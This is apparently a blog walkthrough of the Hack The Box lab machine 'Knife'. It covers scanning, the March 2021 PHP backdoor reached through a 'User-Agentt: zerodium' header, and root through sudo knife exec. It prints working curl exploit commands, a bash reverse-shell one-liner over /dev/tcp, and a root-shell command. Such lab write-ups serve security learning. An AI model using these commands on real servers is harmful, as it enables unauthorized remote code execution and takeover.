Hack The Box - Knife

6 min read

Knife is one of the easier boxes on HTB. There are only two significant steps involved. The first step is noticing a header in the HTTP request that contains a weird PHP version. Looking for this version online shows that this particular PHP version has a backdoor inserted when the PHP development servers were hacked back in March of 2021. Once on the box, there is a setuid binary called knife. This binary is part of Chef, which is a collection of DevOps tools. Going through the docs show that arbitrary code execution is possible to get access to the root user.


I am kicking off a nmap scan to understand better what services and ports the target machine is exposing. With arguments-sV to enumerate versions, -sC to run all default scripts, and store the output in a file named nmap.txt. Dumping the output to a log file makes it easy to refer back to later, or if you want to embed it in your blog, as I do.

Terminal window
$ nmap -sC -sV -o nmap.txt
# Nmap 7.91 scan initiated Wed May 26 20:16:25 2021 as: nmap -sC -sV -v -o nmap.txt
Nmap scan report for
Host is up (0.027s latency).
Not shown: 998 closed ports
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 26 20:16:34 2021 -- 1 IP address (1 host up) scanned in 9.23 seconds

The result shows an ssh server running on port 22 and a simple web server hosted by Apache on port 80. Opening this website in Firefox show the renderings of what I would call a pretty basic HTML website.

Website On Port 80

After combing through the website for a minute or two, I decided to start a couple of gobuster scans. None yielded anything fruitful and it wasn’t until I checked my nikto scan for the second time that I noticed something interesting .

Terminal window
$ nikto -host -output knife-nikto.txt
- Nikto v2.1.6/2.1.5
+ Target Host:
+ Target Port: 80
+ GET Retrieved x-powered-by header: PHP/8.1.0-dev
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ HTWZVPJS Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ GET The site uses SSL and Expect-CT header is not present.

The x-powered-by header contains a rather interesting version, PHP/8.1.0-dev, indicating this is running a development build of PHP. On release day, Googling this version didn’t yield many results. Hence, I took to GitHub and tried to find more information in the PHP source code itself. But this also wasn’t very helpful. The repo didn’t contain any tags for this specific version or any references to it whatsoever. Spending a lot more time trying different google searches, I bumped in this article from artechnica. It talks about a supply chain attack against the PHP codebase where it got hacked, and a backdoor got inserted. Looking into it deeper many more articles talking about it https://www.bleepingcomputer.com/news/security/phps-git-server-hacked-to-add-backdoors-to-php-source-code/ and https://news-web.php.net/php.internals/113838.

Funny enough, searching for that version now directly leads to a working exploit on exploitdb:

Duck Duck Go Search Result

In a nutshell, what happened is that two commits got added to the php-src repo under the account names of two well-known PHP developers. The assumption is that an attacker gained access to git.php.net server. Git by itself doesn’t add any safety measures around identity, making it very easy for whoever wants to impersonate a commit as a specific user. Following this incident, PHP maintainers have decided to migrate the official PHP source code repository to GitHub as a precaution.

Given the code lives on GitHub and the open-source nature of PHP, I can have a look at the malicious commits here and here. The commits target one file, ext/zlib/zlib.c, adding 11 lines of code (all in green):

It’s fascinating to see others commenting on the commit, the first comment asking if the misspelling of HTTP_USER_AGENT as HTTP_USER_AGENTT was a mistake, and four lines later someone asking what it did, and someone else responding basically that’s it’s a backdoor, and how it works.

PHP Malicious Commit

As the devs point out, to execute this backdoor, I’ll need a User-Agentt header that starts with “zerodium”, and whatever is after that will be executed as PHP code.


To test this out, I quickly prepare a curl command that will execute the echo command with some random text, hoping embedded in the output.

Terminal window
curl -XGET -H 'User-Agentt: zerodiumsystem("echo hello_15234_world");' | grep hello
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5821 0 5821 0 0 111k 0 --:--:-- --:--:-- --:--:-- 111k

It works! All I have to do now is replace the echo command with a reverse shell curl -v -I -XGET -H 'User-Agentt: zerodiumsystem("bash -c \"bash -i >& /dev/tcp/ 0>&1\"");' And I get a shell to extract the user flag:

User Flag

Privilege escalation

The user I got access to is called james, and it seems that this user can run the knife command as root.

Terminal window
james@knife:/dev/shm$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife

Knife is part of the Chef toolchain. Which is an infrastructure as code platform. Knife itself is a command line tool that according to the docs can be used to manage different parts of chef such as nodes, cookbooks, recipes, roles, environments, …

Digging through the docs I learned that knife has an exec command that allows running ruby code. At the time of the challenge knife didn’t have a GTFObins page yet. Because I quickly skimmed the docs I downloaded a Ruby reverse shell and executed the file with knife to get root access:

Root Flag

But with the -e it could have been as easy as:

james@knife:~$ sudo knife exec -E "exec '/bin/bash'"